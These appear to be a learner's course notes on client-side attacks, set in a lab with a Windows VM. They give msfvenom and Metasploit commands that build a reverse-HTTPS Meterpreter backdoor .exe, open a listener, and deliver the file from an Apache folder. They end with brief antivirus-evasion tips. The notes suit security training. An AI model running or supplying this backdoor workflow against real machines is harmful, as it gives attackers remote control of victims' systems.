☆ Nexpose takes much resources. Minimum 8GB ram is required. Hence, big companies can afford such infrastructure. We won't try it.

Client - Side Attacks

- → use if server-side fails
- → require user interaction
- → Social engineering is useful
- → Information gathering is vital (depends person-2-person)

Generating backdoors (.exe)

- Backdoor is a program that provides remote control of the system it gets executed on.
  - → execute system cmds
  - → access system resources (like webcam)

☆ A payload inside the backdoor, is what we write.
☆ To generate payloads we'll use msfvenom. (std)

do: `msfvenom --list payloads`
→ it will give huge list of payloads to pick from.
☆ Most payloads are made of three parts, separated by /.

$$\boxed{\text{Platform / Type / Communication}}$$

eg: windows / shell / $\underbrace{\text{reverse}}_{\text{direction of connection}}$-$\underbrace{\text{http}}_{\text{protocol}}$

☆ There are few directions:

① **Bind** (direct) :
- opens a port on target pc to which we can connect
- raises alarm as a firewall detects it

② **Reverse** :
- opens a port in our own Computer
- backdoor connects FROM target pc to our port

☆ Lets create a backdoor.

→ do:
```
msfvenom --payload windows/meterpreter/reverse_https --list-options
```

☆ This command gives you a LIST of options we can use w/ the payload.

- LHOST = local listener (us)
- LPORT = port we listen on

∴ do:
```
# msfvenom --payload {name} LHOST = {your ip} LPORT = 8080 --format exe --out rev_https-8080.exe
```

--format exe → format

rev_https- → file name

→ this will generate the backdoor .exe file.

☆ Now we need to listen to the connections, so that when backdoor is run on the target, ~~we can~~ it can connect to our open port.

∴ → go to msfconsole. (Metasploit)

→
```
# use exploit/multi/handler
```

multi/handler ↳ designed to open a port to receive comms

→ It is using a default payload which needs to be modified.

→ # set PAYLOAD windows|meterpreter|reverse-https

→ modify LHOST & LPORT

→ # exploit

★ Now the port is open. We can now execute the backdoor on windows.

★ First we need to deliver the backdoor to windows. For that, (for now), → (for our VMs)

→ copy the backdoor to the webserver

→ |var|www|html ; paste it in a new folder (evil-files)

→ Start the webserver to share files to windows VM

↳ # service apache2 start

→ to access the webserver, use ip of kali.

→ go to windows → 192.168.59.128/evil-files

→ download the backdoor (disable security first)

→ run it.

★ Now you have a connection kali → Windows. Hacked successfully.

Bypass Anti-Virus

↳ Security programs detect malware by:

① either comparing code to known malware (Static)

↳ this can be bypassed by using unique code.

② or AVs can analyse ~~behvar~~ behavior of the malware in a controlled environment.

→ in this case, we need to add safe operations & delay payload execution.